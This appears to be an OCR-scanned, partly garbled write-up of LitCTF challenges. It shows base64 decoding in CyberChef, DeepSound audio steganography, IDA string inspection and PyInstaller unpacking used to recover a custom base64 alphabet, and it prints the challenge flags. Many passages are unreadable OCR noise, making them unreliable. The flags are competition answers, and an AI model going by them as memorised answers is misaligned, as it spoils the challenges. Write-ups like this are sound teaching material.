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FFmgiit, SEI&Abingo, AEEEBRBRTESNEXRFEE, BEFEflag
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BinTools  BaseTools FrequencyCount  FrequencyColor  FileTools ImageTeols  BruteForce FFT PBE ‘P

7b]13bJI8, CnnnniTok '25:9:1= o™ Q) == =33 s e
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puzzlesolver—iE#%

BinTools  BaseTools  FrequencyCount
J506i5aes 7 TyB5SL2g5pivanpSp+UT TyM77yM7TTyM44CC4
4CC44CCo0iR5LINGBaB oS 30Wo T TyMT Ty MTTyM44CC4
ACC44CCDO==
506i5aes44CC50515aes44CC50615aes7TyM5ZGc5ZG5ZG
cdoCm4oCmSobi5aesd4CC50iR55qESobiSaesdoCmdoCm
So6i5aesdoCmdoCmSoiR55qES4i25Lqydlis35qESobisaes
TIyMTTyMT TyM44CC44CCA4CC50iRbleq55u455+b55u+
T7yM506i5aes44CC50iR55y85r0g 5LuD5ZiD6KeSSrWEBSLI
L44CC5aiR5pegbZm055ebsZ0M44CCD0O==
5ZGcT7yM50iR35gESobisaesdoCmdoCmaobidaes7 TyBao
iR55qE5aal5aalblis55qES0biSaes? TyBopividixSLE) 7 TyMS5
o6iSaesdoCmdoCmSoiRSpegbZmO55eb5Z0t7TyB506i5a
esd4CC506i5aes44CC500i5aesdoCmdoCmSoiR5pelbL2s
SLiKSaSp77yl7 Tyl506i5aes7 TyMDO==
So6i5aesdoCmdoCmSobiSaes7 TyM5SZGc3Z0HAACC50iRS
5qESobiSaesdoCmdoCm5oiR55qE576056Weblis55qESob
i9aes7 7yl 77y)506i9aes44CC506i5aes 7 TyBopivadi2SLay 7T
yB50iR5b2T5Zy 654515067 TyMTTyMT7yMAACCAACCA4
CCDQ==
S506i5aes77yM506i5aes7TyB5aSpsZ0q7 TyM7 7y M7 Ty 4
4CC44CC44CC50IR55gES0biSaesdoCmdoCmSoiR55gES0
mN3Y206lis55qE50biSaes7 TyBSobiSaes7TyB3oiR5LINSa
s/
5¥aMN55ebblum77yM5obisaesdoCmdoCmSoiRblyrsd4525
peg3s+I7TyMDO==

FrequencyColor

O Base32 (O Base32(Padding) © Bases4
HFxE Ehe BE
The love

0103 T E A

—

r .
SYAE e gl e elBs o
DR EAE

FileTools ImageTeols  BruteForce FFT  PBE

Basell,Gddhs

S06i3aesT TyM50iR5Z0OtT TyBS0iR35gES06iSaesT TyMTTyMT
TyMA4CCAACCAACC0iRE5gESYWISdEYEIISS5qES0RISaesdo
CmdoCm50iR5rex53Sco05f50WoTTyBSosisaesdoCmdalm
50iR3a5n5Y+X6ZyH5pKa44CCo06iSaesTTyBD U=
3a85p22WK44CC506i5aesTTyM30iR35gES06izaesT TyBo0EGIS
aes44CC50iR55q0E6Z5a6lis55qES06i5aesTTyBapivaLiT40C
m4oCm50iR5r0qars55asqsbmzarsL7TyM50iR6aaL44CCs

4

Base32,64[B 5[ —i#EH!l):

0100110001101001011101000100001101010100010001100
1111011010101000110000101101110010010100110100101
0111110110101000110001011001010101111101101010011
0100101100101010111110110111000110001010111110110
0100010000010110100101011111011101110011000001011
1110111101000110000011101010101111101100010010111
1101111101000000000000000000000000000000000000000

Base32,64[8 5 ([ #ElFASCH):

LitCTF{TanJi_jle_jie_nl_dAi_w0_z0u _b_}|

BB ELitctf??2?22??ftctiL SRR R BB 879202405, BAEREEEEI—LEX, MXbaselg

FRIBAX
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Lad>lL JUliU. 11U Udy> dayu = VEISIUIL 1TV I3 1IZ1E: NEdu auuL LI TIew Iieaudies el

Recipe ~ BB B Input
Ylkc5M1pWOXBiMT13WVdsdVpuVnM=
From Base64 ~Qn . 1 puvnfy
Alphabet N
A-Za-z0-9+/=

Remove non-alphabet chars |:| Strict mode

From Base64 ~ QN

Alphabet
A-Za-z0-9+/=

mec 28 = 1 i} 26—27 (1 selected)

Remove non-alphabet chars |:| Strict mode Output

love_is_painfuﬂ

BB A deepsound, BEMERXAT, BHRNXAHMEfag

Litctf{wish_you_can_find_your_true_love}

DeepSound 2.1 - 0O X
™
. ¢ (0
- - 3 @
Hide Data Inside Audio Audio Converter Settings  Help
| Open carrier files | | Add secret files | | Encode secret files | | Extract secret files |
Carrier audio files :
File Dir | Size (MB) | Data format 5
o Zig.wav C:\Users\13740\Desktop 28.9 MB v2 (2024)

Secret files in C:\Users\13740\Desktop\Z/&.wav:

Secret file name Size (MB)
@ flag real.txt < 0.1 MB




reverse

fmigIE

X IDA View-A WGeneral registers © Strings © @ Hex View-1 Structures
Address Length Typt_String
51, rdata: 000+ 00000041 C abedefghi jklmnopqrstuvwxyzABCDEFGHI JKLMNOPQRSTUVWXYZ0123456789+/
. rdata:000--- 00000034 C o
. rdata: 000+ 00000034 > TJ] TJTT TITITJT] TJTJT] TJTITITI] TITJTIT] \n
& . rdata: 000+ 00000034 C  TJ TJ 7 TJ T TIJ TJ \n
.rdata:000+:+ 00000034 C TJ] TJ TJ TJ 10 ) TJ \n
El. rdata:000--- 00000034 C TJ TJ TJ TJ TJ TJTIT] \n
.rdata:000+:+ 00000034 C A . HHH . = ot
5, rdata:000+-- 0000003D C tglOqlrgEZaZmdm0zwqdlweYzgeTngfHnI 1 ImMm5 1 taXywnLowuYn JmWmx 0=
.rdata:000+++ 00000007 C Enter
. rdata:000+- 0000001F C Argument domain error (DOMAIN)
. rdata: 000+ 0000001C C Argument singularity (SIGN)
py.exe) C:\Users\13740\Desktop\ezpy.exe.ib4
h View Debugger Options Windows Help
“ Open subviews v Quick view Ctrl+1
Graphs d Disassembly
B Toolbars * = Proximity browser
@ Calculator... ? Generate pseudocode  F5
Full screen F11 @ Hex dump
i Graph Overview Address details
8 Recent scripts Alt+F9
lec _ . & Exports
@ Database snapshot manager... Ctrl+Shift+T
Imports
led B Print segment registers Ctrl+Space @ Names Shift+F4
¢ Print internal flags F 7 |IEunctions Shift+E3
= Hide Ctrl+Numpad+- & Strings Shift+F12
1 + Unhide Ctrl+Numpad+ + Segments Shift=L7
ec -
.4¢ = Hide all Segment registers Shift+F8
19( % Unhide all @ Selectors
ec B
X Delete hidden range ) .
et Hidderit 9 # Signatures Shift+F5
etup hidden items... S .
=T TAataruuuTT Uuuuuuss T secy © Type libraries Shift+F11
&, rdata:000+ 00000029 G Secu: g :
rdata:000- 00000005 C  Oaw . Structures St £
2. rdata:000+- 00000006 C  Qkkb. F Enumerations Shift+F10
led call<void>::or  |51.rdata:000-+ 00000005 C  wn>] = |ocal types Shift+F1
L] =+ 00000007 C j
.rdata: 000+ 00000005 C 16an. @ Cross references
.rdata:000+++ 00000005 C 621\ E : I
J] = rdata:000- 00000007  C  TiGM baction calls
& . rdata:000+++ 00000005 c o0 @ :
B.rdata:000- 00000005 C % cf  Dookmarks CHil = SANEEN
&.rdata:000-- 00000005 C  gI3\  Open picture
5. rdata:000++ 00000005 & \roc' _
©.rdata:000- 00000007 ¢  K\v\ | Notepad
[ & X||=.rdata: 000~ 00000005 C  \raa @ Problems
- 5. rdata:000+:+ 00000005 C b> [Py =
% .rdata:000-+ 00000005 ¢  vwi¢ 7] Patched bytes Cerl+Alt+P
B . rdata: 000+ 00000005 C \tB{ ® Undo history
3 andat . NNNL.. NODANNNNT -~ ™~ W
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BittidaB ey Eshift+FI2RRAIBEFR B, WEREIB—FbasebdFiFE, BNHRLARENR, BIBE
flag

Last build: 16 days ago - Version 10 is here! Read about the new features here Options Q Abou
Recipe ~ OB 8 Input + O
= tgloglrgEZaZmdmOzwgdlweYzgeTngfHnI1ImMm51taXywnLowuYnImWmx0=
From Base64 ~ Q0 n SIS a SR Y
) ¢ Alphabet

abcdefghijklmnopqgrstuvwxyzABCDEF...

Remove non-alphabet chars |:| Strict mode

mec 60 = 1 Tr

Output a

|L itCTF{0@3034ed8-a2da-4aa6-b2c9-0lace9e26301}

ezpython

FtApyinstxttractori§exeX 4 miZNpyc X, AESFE—HpycXH, ¥ Elepy.pyc, BH—TEL
R mIFEM UGG pyc X R RIFRPY X1

1 python pyinstxttractor.py ezpy.exe

THEHZRHRELRRG
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#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

import Litctfbase64

flag = input('flag:"')

flag = Litctfbase64.b64decode(flag)

if flag == 'X=304hx=0EZwf=mMv13gX=304hx=qje2ZjtgZQmEKXZog4==":
print('win')
return None

print('no"')

A UERM SN T RiRLitctfbase64, PIMBAEEZH X MERNpycXHBRFFE NRBIXRET2

)

U B WN -

O 0o N O

10
11
12
13
14

# Source Generated with Decompyle++
# File: Litctfbase64.pyc (Python 3.11)

import string

BASE64_ALPHABET = '8kuWYm=1JiUPs7DT4x+X5tcqZKfGvA@gFLB6y3QbV2rNO1lRdMwnEoOhj

z5e9/HIa-'

def b64decode(input_string):
pass
# WARNING: Decompyle incomplete

def from_base64(base64_string):
pass
# WARNING: Decompyle incomplete

REEF

40



Last build: 16 days ago - Version 10 is here! Read about the new features here

Recipe ~om8
From Base64 ~ 0
Alphabet

8kuWYm=1J1iUPs7DT4x+X5tcqZKfGvAlg..

Remove non-alphabet chars |:| Strict mode

Input

X=304hx=0EZwf=mMv13gX=304hx=qje2ZjtgZQmEKXZog4==|

mec 48 = 1

Output

LitCTF{61happy_LitCTF_nice_base64}sou-|
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